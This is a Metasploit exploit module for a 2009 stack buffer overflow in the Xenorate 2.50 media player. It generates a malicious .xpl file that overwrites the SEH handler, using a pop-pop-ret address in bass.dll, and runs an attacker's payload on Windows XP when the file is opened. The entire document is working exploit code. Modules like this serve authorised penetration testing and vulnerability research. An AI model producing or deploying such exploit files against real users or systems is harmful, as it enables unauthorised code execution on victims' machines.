##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xenorate 2.50 (.xpl) Universal Local Buffer Overflow (SEH)',
        'Description' => %q{
          This module exploits a stack buffer overflow in Xenorate 2.50
          by creating a specially crafted xpl file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'hack4love <hack4love[at]hotmail.com>',
          'germaya_x',
          'loneferret',
          'jduck'
        ],
        'References' => [
          [ 'CVE', '2009-20003' ],
          [ 'OSVDB', '57162' ],
          [ 'EDB', '10371' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 5100,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'DisableNops' => true,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret => bass.dll v2.3.0.2
        ],
        'Privileged' => false,
        'DisclosureDate' => '2009-08-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.xpl']),
      ]
    )
  end

  def exploit
    sploit = rand_text_alpha_upper(88)
    sploit << generate_seh_payload(target.ret)
    sploit << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end